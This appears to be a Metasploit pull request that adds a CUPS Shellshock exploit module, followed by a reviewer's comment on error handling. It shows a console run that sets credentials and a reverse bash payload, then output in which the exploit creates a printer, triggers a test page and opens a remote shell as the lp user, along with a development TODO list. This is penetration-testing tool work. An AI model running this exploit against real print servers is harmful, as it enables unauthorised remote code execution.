Add exploit module for CUPS shellshock

Tested on CUPS version 1.4.3

```
msf exploit(cups_shellshock) > set username test
username => test
msf exploit(cups_shellshock) > set password shock
password => shock
msf exploit(cups_shellshock) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf exploit(cups_shellshock) > run

[*] Started reverse handler on 172.16.251.132:4444
[*] 172.16.251.133:631 - Creating printer 'sSHpaty9vP'
[+] 172.16.251.133:631 - Created printer successfully
[*] 172.16.251.133:631 - Requesting printer test page
[*] 172.16.251.133:631 - Test page sent successfully
[*] 172.16.251.133:631 - Deleted printer 'sSHpaty9vP' successfully
[*] Command shell session 1 opened (172.16.251.132:4444 -> 172.16.251.133:54504) at 2014-10-19 13:37:35 -0400

id
uid=7(lp) gid=7(lp) groups=7(lp)
```

TODO
* [x] Get shell
* [x] Remove the printer from the web UI upon completion
* [ ] Add targets for newer shellshock CVEs
* [ ] Implement `check()`
* [ ] Test on more versions of CUPS
* [ ] Check authentication properly - '426' status code indicates upgrade required, not invalid credentials.
* [ ] Remove the job from the web UI - Get the job ID from `print_test_page(printer_name)`
would this be clearer (assuming I get the logic right) if it were

```
unless res && res.code == 200
  return print_error(blah)
end
```